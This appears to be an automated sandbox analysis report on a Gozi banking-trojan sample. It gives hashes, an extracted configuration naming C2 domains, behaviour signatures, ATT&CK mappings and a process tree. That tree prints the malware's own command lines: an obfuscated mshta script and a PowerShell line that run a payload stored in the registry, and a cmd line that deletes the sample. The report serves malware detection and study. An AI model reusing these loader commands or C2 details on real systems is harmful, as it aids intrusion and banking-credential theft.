Analysis

  • max time kernel
    150s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    06-10-2023 20:43

General

  • Target

    NEAS.911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4_JC.exe

  • Size

    274KB

  • MD5

    d18f3fecf6d28ddd0f4cf4a9b53c0aec

  • SHA1

    05263b9ec69fcf48cc71443ba23545fabe21df12

  • SHA256

    911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

  • SHA512

    4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

  • SSDEEP

    3072:utyJSwPI9F4BwVVO+kjH4wjyIphvo3ZDivScpBaa4l8QU:iyrPa4BI7wuIphg3ZDi6cnA8Q

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

http://igrovdow.com

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Deletes itself 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Users\Admin\AppData\Local\Temp\NEAS.911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4_JC.exe
      "C:\Users\Admin\AppData\Local\Temp\NEAS.911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4_JC.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:2692
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>S21l='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(S21l).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\14432B37-6353-66A1-8D88-47FA113C6BCE\\\ClassLocal'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name sxumlvyk -value gp; new-alias -name deudrum -value iex; deudrum ([System.Text.Encoding]::ASCII.GetString((sxumlvyk "HKCU:Software\AppDataLow\Software\Microsoft\14432B37-6353-66A1-8D88-47FA113C6BCE").OperatorTime))
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2920
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r1-7acld.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:624
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES32C5.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC32C4.tmp"
            5⤵
              PID:1680
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pry0xezn.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1908
            • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3351.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3350.tmp"
              5⤵
                PID:1632
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\NEAS.911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4_JC.exe"
          2⤵
          • Deletes itself
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3036
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2356
        • C:\Windows\syswow64\cmd.exe
          "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
          2⤵
            PID:2324

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Defense Evasion

        Modify Registry

        1
        T1112

        Discovery

        System Information Discovery

        1
        T1082

        Remote System Discovery

        1
        T1018

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\RES32C5.tmp
          Filesize

          1KB

          MD5

          e0d3cc86caa7ae4d010c5df73b700be7

          SHA1

          5695bc34a1411acbb631c326bc17eaf9625e5268

          SHA256

          c162815895419c3f5fb62c51aceaf176158eb3532597235a08a404f48586b3c0

          SHA512

          e3201c1e6c1ab6770b4a1086c2413e838db44338a8bb6eab17d754f093cb80d7200701f78ca40e826b891e3638d0f8ee4d3570d6b88900bf7aea8d646979a28d

        • C:\Users\Admin\AppData\Local\Temp\RES3351.tmp
          Filesize

          1KB

          MD5

          e92a3329bef577ec8bf7dc1e1fa0660f

          SHA1

          2f894ae623b9dd4f863bbb00cb4d301095e376cf

          SHA256

          02d08fd8924dc3f22b371d21ed395c53b206f51370e1f82242ab03dccaedafd2

          SHA512

          bd21eaeb1904bbcaf45fff01ad49130692bed3f0396a56be19eb9d5f6451addbe757dc9865be0c49d403c837543a14875b0916ede402175c7e3bf09a7dd370dd

        • C:\Users\Admin\AppData\Local\Temp\pry0xezn.dll
          Filesize

          3KB

          MD5

          97b4c8dfe70feae0cb0be5f9d6efe1ee

          SHA1

          52e57492349e2953d80c41777562f761951e6403

          SHA256

          d93519f71f2e8effd6cb959b92e8f8f6a4cf8cdf81d70b922e8af8abc131f3d3

          SHA512

          9503eecab95f865ce2b8da726cc91ca09eefcb9835315596437ac084aef352c931af39cb81e8069f0f55ce1e562cde821626b44ce9998df7d5553adc787bfc95

        • C:\Users\Admin\AppData\Local\Temp\pry0xezn.pdb
          Filesize

          7KB

          MD5

          f801fb966ab32c33182baaa29eb910f1

          SHA1

          1011994ff419da2608db27a1ebe96cab9c576728

          SHA256

          86c55bf9420782b437c8734832f65c861e1ceb6791e1fa22ad750ab36a7fe660

          SHA512

          82b26561995ed89424a7b1f0f5292b5cf98bab986eac648df3639e6a828b676f91efe335e8374913c54e006456879cf19e3199aefb794ec5ff6352775f63bc5f

        • C:\Users\Admin\AppData\Local\Temp\r1-7acld.dll
          Filesize

          3KB

          MD5

          01918321443232c3376d2fe935524c4b

          SHA1

          af106a7cc81fdb9db4b5b18b3d5e9a12ff0b5837

          SHA256

          8b2c111355582c9f1912a2bcf2b6784579b68fe78cdc82cb0010e9c16bdddb9c

          SHA512

          08db234adc1b89731dede39c0839ce8184639e231e5fb2c7cdaf9deb1412d7b40d3ebe5a1b323cd9a5ac2e8161eb287d4873d2dbcd8e63297d1816b421065633

        • C:\Users\Admin\AppData\Local\Temp\r1-7acld.pdb
          Filesize

          7KB

          MD5

          2c6eb4f78974e61bdc5520c3fa238a79

          SHA1

          fe1c8be6fb41040813e2f706842d5ada0dcc8167

          SHA256

          3ab8cf9d154071eb6cb5780e8b6a4e148049fff846bdfff3341e4fee476762a7

          SHA512

          f3a495aadd355e1403bf51855c4179df99744ffaaa6292622559f9b43c45cb5028bfa0d9e54159e3158899b18cbcb6573047906bb0f89929a8035909ce7b5cc8

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC32C4.tmp
          Filesize

          652B

          MD5

          0f66da9b86d56ecda32257007371c9f1

          SHA1

          d0f856f9ea04bc698d3c944945268296b4034b50

          SHA256

          f565b2deeac46dd4aa9b2061d346466653c16bed19222b449fca9ceda4a822e2

          SHA512

          3691fbb3e1064fed024d6a78cb5d5592e7032f86abfdbfed55052dab6ace85ba147f8da20cdc9953e1499559868d968c3eb9ba47aec8cb408b149aba58f611e2

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC3350.tmp
          Filesize

          652B

          MD5

          5848a982f712e6a2e212cd13e080a567

          SHA1

          a898c87c932e46d403314994ab9f33b2bb37d7f6

          SHA256

          1e4bf1cf1b77679030b439719f737f7e09344aafbd7ac005fb0b99575ce3d1f1

          SHA512

          85d429e22f7a68587c24b4a8d0192969eaaa19d856edc374f627051af6119acb105f42323be991ec94bc2cafe87a021feb12a8bebba2db0ddba2a1d7c3e3224c

        • \??\c:\Users\Admin\AppData\Local\Temp\pry0xezn.0.cs
          Filesize

          406B

          MD5

          ca8887eacd573690830f71efaf282712

          SHA1

          0acd4f49fc8cf6372950792402ec3aeb68569ef8

          SHA256

          568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

          SHA512

          2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

        • \??\c:\Users\Admin\AppData\Local\Temp\pry0xezn.cmdline
          Filesize

          309B

          MD5

          edac9e4501f6ce3c8cc743ba724015a9

          SHA1

          52a956b7d7628db25c181865bcd9d98cad254824

          SHA256

          2d5aac54cc3467b6b9fa067e7cb90619d2e6cd15b3051a2dedfbfe48f6f901e2

          SHA512

          2278a3fa8bd6f10247fb5ea960dc22bc68bef3168d75a0173e23ce2b6f8ca0ccf567ad49286e902912077f530fedf52d80131a3dcc0645f47cdda6f385730eed

        • \??\c:\Users\Admin\AppData\Local\Temp\r1-7acld.0.cs
          Filesize

          405B

          MD5

          caed0b2e2cebaecd1db50994e0c15272

          SHA1

          5dfac9382598e0ad2e700de4f833de155c9c65fa

          SHA256

          21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

          SHA512

          86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

        • \??\c:\Users\Admin\AppData\Local\Temp\r1-7acld.cmdline
          Filesize

          309B

          MD5

          fd3781a6ea4bc1a73df458b0d56905b6

          SHA1

          4f0e71c15e8827b52f44f3636e89298c3e31e817

          SHA256

          c4aedd857be015dc3591ec66cd5693b14c06c0e1c37cdbb8492dc81f64973117

          SHA512

          147a7acc9b1b33fc6db6d911a6b14060eb06624733d63da1f8991afc581d09eb869520bca677eafe2399952be3b92c2b0a99016c1b3eb48e18283fc511124d2c

        • memory/624-38-0x0000000002140000-0x00000000021C0000-memory.dmp
          Filesize

          512KB

        • memory/1372-98-0x0000000006C10000-0x0000000006CB4000-memory.dmp
          Filesize

          656KB

        • memory/1372-69-0x00000000026D0000-0x00000000026D1000-memory.dmp
          Filesize

          4KB

        • memory/1372-68-0x0000000006C10000-0x0000000006CB4000-memory.dmp
          Filesize

          656KB

        • memory/1908-59-0x00000000020C0000-0x0000000002140000-memory.dmp
          Filesize

          512KB

        • memory/2324-93-0x0000000000130000-0x00000000001C8000-memory.dmp
          Filesize

          608KB

        • memory/2324-97-0x0000000000130000-0x00000000001C8000-memory.dmp
          Filesize

          608KB

        • memory/2324-96-0x0000000000210000-0x0000000000211000-memory.dmp
          Filesize

          4KB

        • memory/2356-86-0x000007FFFFFD9000-0x000007FFFFFDA000-memory.dmp
          Filesize

          4KB

        • memory/2356-99-0x0000000000310000-0x00000000003B4000-memory.dmp
          Filesize

          656KB

        • memory/2356-89-0x0000000000100000-0x0000000000101000-memory.dmp
          Filesize

          4KB

        • memory/2356-88-0x0000000000310000-0x00000000003B4000-memory.dmp
          Filesize

          656KB

        • memory/2692-1-0x00000000002D0000-0x00000000003D0000-memory.dmp
          Filesize

          1024KB

        • memory/2692-20-0x00000000045F0000-0x00000000045F2000-memory.dmp
          Filesize

          8KB

        • memory/2692-9-0x00000000001B0000-0x00000000001BB000-memory.dmp
          Filesize

          44KB

        • memory/2692-8-0x0000000000400000-0x000000000228B000-memory.dmp
          Filesize

          30.5MB

        • memory/2692-7-0x00000000002D0000-0x00000000003D0000-memory.dmp
          Filesize

          1024KB

        • memory/2692-4-0x00000000003D0000-0x00000000003DD000-memory.dmp
          Filesize

          52KB

        • memory/2692-3-0x0000000000400000-0x000000000228B000-memory.dmp
          Filesize

          30.5MB

        • memory/2692-2-0x00000000001B0000-0x00000000001BB000-memory.dmp
          Filesize

          44KB

        • memory/2920-29-0x0000000002AA0000-0x0000000002B20000-memory.dmp
          Filesize

          512KB

        • memory/2920-27-0x000007FEF47D0000-0x000007FEF516D000-memory.dmp
          Filesize

          9.6MB

        • memory/2920-64-0x0000000002780000-0x0000000002788000-memory.dmp
          Filesize

          32KB

        • memory/2920-72-0x000007FEF47D0000-0x000007FEF516D000-memory.dmp
          Filesize

          9.6MB

        • memory/2920-74-0x00000000027A0000-0x00000000027DD000-memory.dmp
          Filesize

          244KB

        • memory/2920-25-0x000000001B300000-0x000000001B5E2000-memory.dmp
          Filesize

          2.9MB

        • memory/2920-26-0x0000000001D60000-0x0000000001D68000-memory.dmp
          Filesize

          32KB

        • memory/2920-67-0x00000000027A0000-0x00000000027DD000-memory.dmp
          Filesize

          244KB

        • memory/2920-47-0x0000000002770000-0x0000000002778000-memory.dmp
          Filesize

          32KB

        • memory/2920-32-0x0000000002AA0000-0x0000000002B20000-memory.dmp
          Filesize

          512KB

        • memory/2920-31-0x000007FEF47D0000-0x000007FEF516D000-memory.dmp
          Filesize

          9.6MB

        • memory/2920-30-0x0000000002AA0000-0x0000000002B20000-memory.dmp
          Filesize

          512KB

        • memory/2920-28-0x0000000002AA0000-0x0000000002B20000-memory.dmp
          Filesize

          512KB

        • memory/3036-81-0x00000000000A0000-0x00000000000A1000-memory.dmp
          Filesize

          4KB

        • memory/3036-80-0x0000000001BE0000-0x0000000001C84000-memory.dmp
          Filesize

          656KB

        • memory/3036-79-0x000007FFFFFD3000-0x000007FFFFFD4000-memory.dmp
          Filesize

          4KB

        • memory/3036-100-0x0000000001BE0000-0x0000000001C84000-memory.dmp
          Filesize

          656KB